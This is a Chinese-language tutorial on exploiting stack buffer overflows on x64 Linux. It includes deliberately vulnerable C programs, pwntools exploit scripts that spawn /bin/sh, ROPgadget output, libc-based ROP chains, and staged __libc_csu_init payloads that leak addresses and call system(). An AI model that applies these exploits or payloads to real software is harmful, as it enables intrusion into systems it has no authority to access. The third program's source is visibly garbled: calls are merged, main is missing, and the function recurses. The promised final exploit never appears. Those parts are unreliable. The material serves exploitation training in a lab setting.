linux_x64与linux_x86的区别 主要两点: 1.内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff
,否则会抛出异常。 2.参数传递方式发生改变,x86参数都是保存在栈上,x64中的前6个参数依次保存在rdi
, rsi
, rdx
, rcx
, r8
和r9
中,如果有更多参数则保存在栈上。 拿一个简单的程序演示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem () { system("/bin/sh" ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char **argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); return 0 ; }
用gdb简单的反编译一下vulnerable_function 由lea rax, [rbp-0x80]
可知栈结构如下: 所以要overwriterip
为callsystem()函数的地址,需要136(0x80+8)个占位字节+callsystem()的地址。 exp如下:
1 2 3 4 5 6 7 8 9 from pwn import *p = process('./vuln1' ) callsystem = 0x400584 payload = "A" * 136 + p64(callsystem) p.send(payload) p.interactive()
使用工具寻找gadgets x64的参数会保存在寄存器中,所以需要找一些类似于pop rdi; ret
这样的gadget,借助工具如ROPgadget 查找会更加快捷方便。 再用一个简单的例子演示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void *handle = dlopen("libc.so.6" , RTLD_LAZY); printf ("%p\n" , dlsym(handle, "system" )); fflush(stdout ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char **argv) { systemaddr(); write(1 , "Hello, World\n" , 13 ); vulnerable_function(); }
程序会打印system()在内存中的地址,这样就不需要考虑ASLR的问题了,只要想办法执行system("/bin/sh")
就行。需要找一个将rdi指向”/bin/sh”的gadgets:
1 2 3 4 5 6 7 8 9 $ ROPgadget --binary vuln2 --only "pop|ret" Gadgets information ============================================================ 0x00000000004006d2 : pop rbp ; ret 0x00000000004006d1 : pop rbx ; pop rbp ; ret 0x0000000000400585 : ret 0x0000000000400735 : ret 0xbdb8 Unique gadgets found: 4
因为程序较小,没有pop rdi; ret
这个gadgets。可以从libc.so中找,因为程序本身会load libc.so到内存中,并打印system()的地址,所以找到gadgets后可以通过system()计算出libc.so在内存中的基址,从而得到gadgets在内存中的实际地址。
1 2 3 4 $ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi 0x000000000001f7a6 : pop rdi ; pop rbp ; ret 0x0000000000022b1a : pop rdi ; ret 0x00000000001331ad : pop rdi ; ret 0xffee
成功找到了pop rdi; ret
这个gadget,构造ROP链:
1 payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
或者,因为我们只需要调用一次system()函数就可以获取shell,所以可以搜索不带ret的gadgets:
1 2 3 4 5 $ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi 0x000000000017956b : call qword ptr [rdi] 0x00000000000238f0 : call rdi 0x00000000000fa479 : pop rax ; pop rdi ; call rax 0x00000000000fa47a : pop rdi ; call rax
发现pop rax ; pop rdi ; call rax
也可以完成目标,将rax
赋值system()的地址,rdi
赋值为”/bin/sh”的地址:
1 payload = "\x00" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
这两个ROP链都可以完成目标,随便选择一个进行攻击即可。 最终的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *libc = ELF('libc.so.6' ) p = process('./vuln2' ) system_addr_str = p.recvuntil('\n' ) system_addr = int (system_addr_str,16 ) base_addr = system_addr - libc.symbols['system' ] binsh_addr = base_addr + next (libc.search('/bin/sh' )) pop_ret_addr = base_addr + 0x0000000000022b1a p.recv() payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) p.send(payload) p.interactive()
通用gadgets 程序在编译过程中会加入一些通用的函数来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但初始化过程是相同的,因此针对这些初始化函数,可以提取一些通用的gadgets来用。 拿一个升级版的程序演示:
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
这个程序只有一个buffer overflow,先要想办法泄露内存信息,找到system()的值,再传递"/bin/sh"
到.bss
段,最后调用system("/bin/sh")
。源程序中使用了write()
和read()
函数,可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。 在x64下有一些万能的gadgets可以使用。比如用objdump -d vuln3
观察一下__libc_csu_init()
这个函数。程序只要调用了libc.so,就会有这个函数对libc进行初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 00000000004005a0 <__libc_csu_init>: 4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp) 4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp) 4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end> 4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end> 4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp) 4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp) 4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp) 4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp) 4005cc: 48 83 ec 38 sub $0x38,%rsp 4005d0: 4c 29 e5 sub %r12,%rbp 4005d3: 41 89 fd mov %edi,%r13d 4005d6: 49 89 f6 mov %rsi,%r14 4005d9: 48 c1 fd 03 sar $0x3,%rbp 4005dd: 49 89 d7 mov %rdx,%r15 4005e0: e8 1b fe ff ff callq 400400 <_init> 4005e5: 48 85 ed test %rbp,%rbp 4005e8: 74 1c je 400606 <__libc_csu_init+0x66> 4005ea: 31 db xor %ebx,%ebx 4005ec: 0f 1f 40 00 nopl 0x0(%rax) 4005f0: 4c 89 fa mov %r15,%rdx 4005f3: 4c 89 f6 mov %r14,%rsi 4005f6: 44 89 ef mov %r13d,%edi 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8) 4005fd: 48 83 c3 01 add $0x1,%rbx 400601: 48 39 eb cmp %rbp,%rbx 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15 400624: 48 83 c4 38 add $0x38,%rsp 400628: c3 retq
可以看到利用0x400606处的代码我们可以控制rbx
, rbp
, r12
, r13
, r14
和r15
的值,随后利用0x4005f0处的代码,可以将r15
, r14
, r13
的值赋给rdx
, rsi
, edi
。接着调用call qword ptr [r12+rbx*8]
。只要将rbx
的值设为0,再构造栈上的数据就可以控制pc去调用相关函数了。 执行完call之后,程序会对rbx+1,然后比较rbp和rbx的值,如果相等就继续执行并ret到想要继续执行的地址。为了让rbp和rbx的值相等,可以将rbp的值设为1,因为之前把rbx设为了0。 先构造payload1,利用write()输出write在内存中的地址。因为gadget是call qword ptr [r12+rbx*8]
,所以应该使用write.got而不是write.plt的地址(got里存的是地址,plt里存的是指令)。并且为了返回原程序中,重复利用buffer overflow,我们需要再次覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
1 2 3 4 5 6 7 8 9 payload1 = "\x00" * 136 payload1 += p64(0x400606 ) + p64(0xdeadbeff ) + p64(0 ) + p64(1 ) + p64(got_write) + p64(1 ) + p64(got_write) + p64(8 ) payload1 += p64(0x4005f0 ) payload1 += "\x00" * 0x38 payload1 += p64(main)
exp接收到write()在内存中的地址后,可以计算出system()在内存中的地址。构造payload2,利用read()将system()的地址以及”/bin/sh”写入到.bss段内存中。
1 2 3 4 5 6 payload2 = "\x00" * 136 payload2 += p64(0x400606 ) + p64(0xdeadbeef ) + p64(0 ) + p64(1 ) + p64(got_read) + p64(0 ) + p64(bss_addr) + p64(16 ) payload2 += p64(0x4005f0 ) payload2 += "\x00" * 0x38 payload2 += p64(main)
.bss段的地址: $ readelf -S vuln3 There are 30 section headers, starting at offset 0x1150: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align … [25] .bss NOBITS 0000000000601028 00001028 0000000000000010 0000000000000000 WA 0 0 8 …
最后构造payload3,调用system()函数执行”/bin/sh”。system()的地址保存在了.bss段首地址上,”/bin/sh”的地址保存在了.bss段首地址+8字节上。
1 2 3 4 5 6 payload3 = "\x00" * 136 payload3 += p64(0x400606 ) + p64(0xdeadbeef ) + p64(0 ) + p64(1 ) + p64(bss_addr) + p64(bss_addr+8 ) + p64(0 ) + p64(0 ) payload3 += p64(0x4005f0 ) payload3 += "\x00" * 0x38 payload3 += p64(main)
最终的exp reference http://drops.wooyun.org/papers/7551